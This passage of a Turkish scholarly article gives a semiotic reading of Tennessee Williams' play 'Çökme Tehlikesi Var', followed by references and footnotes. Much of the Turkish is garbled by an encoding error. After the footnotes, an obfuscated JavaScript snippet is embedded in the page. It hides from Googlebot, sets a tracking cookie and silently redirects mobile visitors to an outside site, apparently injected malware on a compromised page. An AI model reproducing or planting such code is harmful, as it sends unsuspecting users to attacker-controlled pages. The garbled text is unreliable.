Bundan sonraki anlam birimi yine beyaz gA�stergesiyle ilintilidir. Ancak arada kadA�n rolA?ne daha saAYlam tutunarak gA?A� gA�sterisinde bulunduAYunu gA�rA?rA?z. AkAYam yapacaklarA�nA� anlatA�rken heyecan duyduAYu belirtilir alt metinde.A�a�?GA�kyA?zA? bA�yle beyaz olacaka�?A�der, ve eklerA�a�?A?zerine resimler A�izeceAYim!a�?Burada beyaz gA�stergesinin taAYA�dA�AYA� anlam netlik kazanA�r. Bagaj memuruyla dans ederken kendi resmini A�izecektir. AyaAYA�nda yA?ksek A�kA�eli rugan ayakkabA�lar olacaktA�r ve en sevdiAYi AYarkA� A�alA�nacaktA�r. Yeni baAYlangA�cA�nA�, baAYka seA�eneklerin farkA�nda olmadA�AYA�ndan, ablasA�nA�n olduAYu gibi olarak yapacaktA�r. YazgA�dan AYikayet etmek yerine ondan keyif almaya A�alA�AYacaktA�r. Ama en A�nemlisi artA�k ya olduAYu gibi olacaktA�r ya da olmak zorunda olduAYu gibi… Bu birimde gA�sterilen AYey, bireyin olmak zorunda olduAYu kiAYi olmayA� seA�mek zorunda oluAYudur.

AnlatA�mA�nda bir filmsellik vardA�r. Daha A�nce A�A�kA?AYA?n miladA� belirtilirken geA�en top mermisi ekspresi burada yeniden karAYA�mA�za A�A�kar. O en hA�zlA� giden trendir ve Williea��ye sesiyle A�A�kA?AYA? anA�msatA�r. BA�ylelikle yine yaAYamsal gerA�ekliAYe dA�ner:

a�?Filmlerdeki A�lA?mler gibi deAYildi ki. AAYA�klarA� hep yok oldu… Kemanlar da A�almA�yordu gideyim artA�k ben!a�?

Daha az A�nce A�izmeyi dA?AYA?ndA?AYA? resmi heyecanla anlatA�rken birden bire geri dA�ner gerA�ekliAYe… YumuAYatA�lmamA�AY olan ve kendisini bekleyen… DolayA�sA�yla gittiAYi yer ray oyununa baAYladA�AYA� yerdir, su deposu. YaAYamsal gerA�ekliAYi yoludur, raydA�r, yazgA�dA�r. Bu yazgA� akranlarA�yla harcayacak vaktinin olmadA�AYA�nA� sA�yler… Kendini doAYrulamaya bile zamanA� yoktur. Yoluna devam etmelidir.

a�?(BebeAYinin saA�larA�nA� dA?zeltir) Uzun, A�ok uzun bir zaman iA�in ablam gibi yaAYayacaAYA�m. Sonra ciAYerlerim hastalandA�AYA� zaman A�leceAYim onun gibi. Filmlerdeki gibi olmaz belki. Kemanlar da A�almaz, ne yapayA�m… Ama kulaAYA�mda inci kA?pelerim, boynumda Memphisa��den alA�nma altA�n boncuk gerdanlA�AYA�m olacak… (…) Sonra belki… (NeAYeli ama sesinde gene de hafif bir hA?zA?n hissedilir) Benim aAYklarA�m da baAYkalarA�na kalA�r…a�?

Kendi A�ocukluAYunu yarA�m bA�rakma pahasA�na ablasA�nA�n yarA�m kalan yaAYamA�nA� sA?rdA?rmek zorundadA�r. Tamamlamak zorunda olduAYu AYeylerdir bunlar. AblasA�ndan miras kalmayan tek AYeyin altA�n boncuklu gerdanlA�AYA� olduAYunu hatA�rlayacak olursak, tamamlamak zorunda olduAYu AYey ortaya A�A�kar: gerA�ek bir kadA�n olmak! Sesine hA?zA?n veren AYey ise AYudur; Alvaa��nA�n her AYeyini bA�rakabileceAYi, gA�kyA?zA?ndeki tek yA�ldA�z olabileceAYi, A�lA?mA?nden sonra da yaAYayabileceAYi birileri vardA�r ancak Willie bundan yoksundur. YapA�nA�n son A�AYesidir ve yapA�nA�n A�A�kmesiyle unutulacaktA�r. UnutulmanA�n hA?znA?dA?r bu.

Oyunun sonunda herkes kendi yoluna yA�neliAYine dA�ner. Tom dertsizliAYini sA?rdA?rA?r, duyarsA�zlA�AYA�nA�… UA�urtmasA�nA� uA�urmak iA�in rA?zgarA� kontrol etmesi bunu gA�sterir. Willie ise dengesini korumaya A�alA�AYarak ray A?zerinde ilerler ve gA�zden kaybolur. Bunun gA�sterdiAYi AYey ise Williea��nin olasA� yazgA�sA�nA�n sA?receAYi gerA�eAYidir. GA?nA?n birinde gA�z kA�rpacaAYA� birinin varlA�AYA�nA� A�zleyerek…

Oyunu iA�inde yer alan anlam birimciklerle deAYerlendirerek, kimi birimciklerin kendi aralarA�nda bA?tA?nleAYtiAYini ve anlam birimlerini oluAYturduAYunu gA�rdA?k. BA�ylelikle oyunda yer alan gA�stergeleri tespit ettik ve bunlarA�n A�ncelik ve sonralA�k iliAYkilerine gA�re diziminden metnin kurgusunu aA�A�AYa kavuAYturduk. BA�ylelikle anlam katmanlarA�nA� aAYarak, bA?tA?ncelere ulaAYtA�k. Azimdi ise bu incelemenin baAYA�ndan beri yer yer gA�ndermelerde bulunulan oyunun derin anlamA�na varmak iA�in tespit ettiAYimiz bu aAYamalarA�n sonuA�larA�nA� kullanacaAYA�z.

En temel anlamda oyunda varolan her A�AYenin yarA�m kalmA�AYlA�AYA� dikkati A�eker. TA?m bu kuAYatA�lmA�AYlA�k, A�aresizliAYin, A�A�zA?msA?zlA?AYA?n trajedisi olarak karAYA�mA�za A�A�kmA�AYtA�r. YukarA�da yeri geldiAYinde deAYinildiAYi gibi, bireyin dA�AY kaynaklA� iA�sel A�atA�AYmasA�dA�r bu. Olmak zorunda olduAYu konumla, olduAYu konum arasA�nda dengesini saAYlamaya A�alA�AYan birey, onu bu A�atA�AYmaya iten yapA�nA�n, sistemin kurbanA� olarak deAYerlendirilir. Sistem iAYe yaramamaktadA�r ve pek A�oklarA� bunun farkA�ndadA�r. Ancak sistemin A�A�kA?AYA? kurbanA�na zarar verecektir. A�AYlemeyen bir yaklaAYA�m, bir modelden bahsedilmektedir burada. Bu yapA� yaAYamsallA�AYA�nA� yitirmiAYtir. Bir A�A�kme tehlikesi vardA�r ve bu tehlikeyi gA�rmezden gelmek, bireyin zorunda bA�rakA�ldA�AYA� bir yaklaAYA�mdA�r. Ancak bireye de bir eleAYtiri sA�z konusudur burada. Einsteina��A�n bir sA�zA? tam da bu eleAYtiriyi dillendirir:A�a�?Delilik, aynA� AYeyleri yapA�p farklA� sonuA� beklemektir!a�?

KaynakA�a:

  • A�EBA� ,Murat Sadullah,A�Sembolik/Retoriksel Bir Eylem Olarak Dila��in Anlam A�nAYasA�ndaki AracA�lA�k A�AYlevi,A�SelA�uk A�letiAYim, 2008,5(2):183-198.

A�DERVA�AzCEMALOAzLU, Bahar,A�GA�stergebilim Nedir?,A�http://www.ege-edebiyat.org/modules.php?name=News&file=article&sid=363, EriAYim tarihi: 08.08.2009

A�ESSLA�N, Martin,A�Dram SanatA�nA�n AlanA�, A�ev:A�zdemir Nutku, YKY, 1.BaskA�, A�stanbul, 1996

A�KOCABAY, Hasibe Kalkan,A�Tiyatroda GA�stergebilim, E yayA�nlarA�, A�stanbul, 2008

  • KULA, Onur Bilge, SAKALLI, Cemal,A�GA�stergebilimsel YaklaAYA�m YazA�nsal Alanda Ne Denli A�AYlevselleAYebilir?A�Hacettepe A?niversitesi Edebiyat FakA?ltesi Dergisi 2005 / Cilt: 22 SayA�: 1 / ss. 21-26

A�WA�LLA�AMS, Tenesse,A�A�A�kme Tehlikesi Var, YayA�nlanmamA�AY oyun teksti, DEA?, GSF, Tiyatro BA�lA?mA? arAYivi.


*A�Yrd. DoA�. Dr. M. Melih KorukA�u, A�stanbul AydA�n A?niversitesi, GA?zel Sanatlar FakA?ltesi, Drama ve Oyunculuk BA�lA?mA? BaAYkanA�

[1]A�Bahar DerviAYcemaloAYlu,A�GA�stergebilim,A�http://www.ege-edebiyat.org/modules.php?name=News&file=article&sid=363

[2]A�Akt: Y.a.g.e.

[3]A�Hasibe Kalkan Kocabay,A�Tiyatroda GA�stergebilim, E yayA�nlarA�, A�stanbul, 2008, s:39

[4]A�Martin Esslin,A�Dram SanatA�nA�n AlanA�, A�ev:A�zdemir Nutku, YKY, 1.BaskA�, A�stanbul, 1996, s:43.

[5]A�Hasibe Kalkan Kocabay, a.g.e., s:41.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Hakkında M. Melih Korukçu

Yoruma kapalı.